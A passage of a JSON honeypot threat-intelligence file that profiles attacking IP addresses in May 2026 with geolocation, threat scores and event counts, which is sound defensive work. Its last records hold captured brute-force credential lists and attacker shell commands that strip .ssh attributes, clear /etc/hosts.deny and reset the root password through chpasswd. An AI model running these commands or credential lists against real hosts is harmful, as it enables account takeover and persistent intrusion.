      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T03:33:19.949000+00:00",
        "last_seen_30d": "2026-05-04T03:34:33.577000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.225.136.10": {
      "attack_count": 2,
      "first_seen": "2026-05-14T07:49:00.195Z",
      "last_seen": "2026-05-14T07:49:13.768Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Azcapotzalco",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T07:49:00.195000+00:00",
        "last_seen_30d": "2026-05-14T07:50:21.038000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.99.71.173": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:08:37.269Z",
      "last_seen": "2026-05-22T23:10:37.280Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buenos Aires",
      "asn": 52235,
      "as_org": "IPV6 SRL",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:08:37.269000+00:00",
        "last_seen_30d": "2026-05-22T23:12:14.329000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "193.250.142.12": {
      "attack_count": 2,
      "first_seen": "2026-05-06T09:34:20.989Z",
      "last_seen": "2026-05-06T09:34:33.088Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Portets",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:34:20.989000+00:00",
        "last_seen_30d": "2026-05-06T09:35:38.722000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.16.27.22": {
      "attack_count": 2,
      "first_seen": "2026-05-14T22:16:08.086Z",
      "last_seen": "2026-05-14T22:16:20.414Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Wortegem-Petegem",
      "asn": 6848,
      "as_org": "Telenet BV",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T22:16:08.086000+00:00",
        "last_seen_30d": "2026-05-14T22:17:25.283000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.35.7.72": {
      "attack_count": 2,
      "first_seen": "2026-05-28T11:02:35.711Z",
      "last_seen": "2026-05-28T11:04:35.713Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curitiba",
      "asn": 8167,
      "as_org": "V tal",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T11:02:35.711000+00:00",
        "last_seen_30d": "2026-05-29T07:26:46.352000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "212.233.167.87": {
      "attack_count": 2,
      "first_seen": "2026-05-08T11:39:29.314Z",
      "last_seen": "2026-05-08T11:39:44.606Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Pleven",
      "asn": 29582,
      "as_org": "Optisprint OOD",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:39:29.314000+00:00",
        "last_seen_30d": "2026-05-08T11:40:50.546000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "218.1.242.99": {
      "attack_count": 2,
      "first_seen": "2026-05-11T03:29:53.801Z",
      "last_seen": "2026-05-11T03:30:07.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:29:53.801000+00:00",
        "last_seen_30d": "2026-05-11T03:31:08.256000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.236.99.117": {
      "attack_count": 2,
      "first_seen": "2026-05-12T06:27:55.836Z",
      "last_seen": "2026-05-12T06:28:08.522Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:27:55.836000+00:00",
        "last_seen_30d": "2026-05-12T06:29:18.313000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.65.219.10": {
      "attack_count": 2,
      "first_seen": "2026-05-20T03:02:03.867Z",
      "last_seen": "2026-05-20T03:02:16.693Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:02:03.867000+00:00",
        "last_seen_30d": "2026-05-20T03:03:21.204000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.52.141.25": {
      "attack_count": 2,
      "first_seen": "2026-05-09T23:01:14.252Z",
      "last_seen": "2026-05-09T23:01:26.594Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Porlamar",
      "asn": 264837,
      "as_org": "CORPORACION VISUAL NUEVA ESPARTA, C.A",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:01:14.252000+00:00",
        "last_seen_30d": "2026-05-09T23:02:27.946000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.41.117.17": {
      "attack_count": 2,
      "first_seen": "2026-05-12T00:57:02.248Z",
      "last_seen": "2026-05-12T00:57:14.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T00:57:02.248000+00:00",
        "last_seen_30d": "2026-05-12T00:58:17.913000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.100.23.95": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:27:53.187Z",
      "last_seen": "2026-05-23T09:28:31.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:27:53.187000+00:00",
        "last_seen_30d": "2026-05-23T09:29:36.220000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.231.58.136": {
      "attack_count": 2,
      "first_seen": "2026-05-04T15:05:12.466Z",
      "last_seen": "2026-05-04T15:05:25.690Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 133648,
      "as_org": "MNR Broadband Services Pvt. Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T15:05:12.466000+00:00",
        "last_seen_30d": "2026-05-04T15:07:54.395000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.142.74.19": {
      "attack_count": 2,
      "first_seen": "2026-05-29T05:00:16.971Z",
      "last_seen": "2026-05-29T05:00:30.903Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dongjak-gu",
      "asn": 7562,
      "as_org": "HCN Dongjak",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T05:00:16.971000+00:00",
        "last_seen_30d": "2026-05-29T05:01:34.277000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.38.17.128": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:27:58.867Z",
      "last_seen": "2026-05-19T06:28:20.254Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:27:58.867000+00:00",
        "last_seen_30d": "2026-05-19T06:29:22.181000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "71.6.232.20": {
      "attack_count": 2,
      "first_seen": "2026-05-05T04:37:14.271Z",
      "last_seen": "2026-05-05T04:37:22.070Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 74.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.0,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 24,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-05T04:37:14.271000+00:00",
        "last_seen_30d": "2026-05-28T00:06:27.545000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Redishoneypot": 6,
        "Honeytrap": 5,
        "Dionaea": 3,
        "ConPot": 2,
        "Cowrie": 2,
        "H0neytr4p": 1,
        "Mailoney": 1
      }
    },
    "85.184.248.187": {
      "attack_count": 2,
      "first_seen": "2026-05-15T04:08:59.327Z",
      "last_seen": "2026-05-15T04:08:59.328Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:08:59.327000+00:00",
        "last_seen_30d": "2026-05-15T04:10:01.467000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.82": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:23:17.259Z",
      "last_seen": "2026-05-23T01:23:20.263Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.1,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 26,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T07:56:27.602000+00:00",
        "last_seen_30d": "2026-05-29T18:29:28.506000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120,
        "Honeytrap": 40,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "93.91.121.139": {
      "attack_count": 2,
      "first_seen": "2026-05-15T11:51:16.693Z",
      "last_seen": "2026-05-15T11:51:29.010Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 47562,
      "as_org": "Fast Link Ltd",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:51:16.693000+00:00",
        "last_seen_30d": "2026-05-15T11:52:37.026000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.245.56.194": {
      "attack_count": 7132,
      "first_seen": "2026-05-10T09:44:48.782Z",
      "last_seen": "2026-05-11T00:54:34.025Z",
      "sessions": 3553,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 11088,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:27:26.387000+00:00",
        "last_seen_30d": "2026-05-11T00:55:40.157000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7132,
        "Suricata": 3956
      }
    },
    "41.208.147.131": {
      "attack_count": 884,
      "first_seen": "2026-05-14T04:34:03.550Z",
      "last_seen": "2026-05-23T17:28:47.474Z",
      "sessions": 72,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "ayjtnzjc",
        "cesar",
        "bot",
        "intel",
        "jenkins",
        "jose",
        "kiosk"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "102030102030",
        "123456ll",
        "1234qwer",
        "1234qwerASDF",
        "20192019",
        "2085",
        "234",
        "6969",
        "CHINAIDC",
        "P455wOrd",
        "P@ssw0rd123",
        "P@ssw0rd1234",
        "admin",
        "admin@1234",
        "aroot",
        "as123456",
        "carter"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"cesar123\\nWtRxi2Xq4sGS\\nWtRxi2Xq4sGS\\n\"|passwd",
        "echo \"root:63mqa2lpqn9I\"|chpasswd|bash",
        "echo \"root:D1KdgEiwhygo\"|chpasswd|bash",
        "echo \"root:LI65nYHC2TyI\"|chpasswd|bash",
        "echo \"root:PT2x1wyrguOt\"|chpasswd|bash",
        "echo \"root:oI1qQoLOOZ7f\"|chpasswd|bash",
        "echo \"root:s4jr5wZN6ZCz\"|chpasswd|bash",
        "echo \"root:ud2foITvYmvR\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nLdUtUJxBZ5lC\\nLdUtUJxBZ5lC\\n\"|passwd",
        "echo -e \"cesar123\\nWtRxi2Xq4sGS\\nWtRxi2Xq4sGS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1048,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:34:03.550000+00:00",
        "last_seen_30d": "2026-05-23T17:29:52.036000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 884,
        "Suricata": 164
      }
    },
    "165.154.5.173": {
      "attack_count": 800,
      "first_seen": "2026-05-17T02:12:16.476Z",
      "last_seen": "2026-05-28T23:22:21.157Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cloud",
        "sftpuser",
        "admin1",
        "ansadmin",
        "arm",
        "ashish",
        "curl",
        "db2inst1",
        "deploy",
        "dev",
        "elasticsearch",
        "ftp-user",
        "ftpuser",
        "info",
        "janusz",
        "jc",
        "jenkins"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "#1",
        "000",
        "0708228AsBs!",
        "12345",
        "1234567890",
        "123456qq",
        "20192019",
        "222222",
        "@123qwe",
        "Ab123456",
        "Asd.123456",
        "Asdfghjkl",
        "Beyond@123",
        "Huawei@12#$",
        "India@2017",
        "Kc@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234567890\\nFUFHVtBhE3M8\\nFUFHVtBhE3M8\\n\"|passwd",
        "echo \"Wangsu@2017\\nOJszFHpRePyu\\nOJszFHpRePyu\\n\"|passwd",
        "echo \"root:FYH6ThWJIVn5\"|chpasswd|bash",
        "echo \"root:MyvDCl8Qg9jB\"|chpasswd|bash",
        "echo \"root:mbJY1B1hDOaM\"|chpasswd|bash",
        "echo \"root:wAhCSTUjcyI3\"|chpasswd|bash",
        "echo -e \"1234567890\\nFUFHVtBhE3M8\\nFUFHVtBhE3M8\"|passwd|bash",
        "echo -e \"Wangsu@2017\\nOJszFHpRePyu\\nOJszFHpRePyu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 46.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1008,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:12:16.476000+00:00",
        "last_seen_30d": "2026-05-28T23:23:23.496000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 800,
        "Suricata": 208
      }
    },
    "167.172.73.9": {
      "attack_count": 555,
      "first_seen": "2026-05-16T14:23:30.182Z",
      "last_seen": "2026-05-18T23:34:35.746Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*(",
        "1qaz!QAZ",
        "20192019",
        "2039",
        "3333",
        "77777777",
        "NM1$88",
        "P@$$w0rd@2020",
        "Yy123456!",
        "a1b2c3d4e5",
        "asf",
        "atul",
        "aurelien",
        "blowjob",
        "chiudi",
        "claude",
        "cmb",
        "compaq88"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
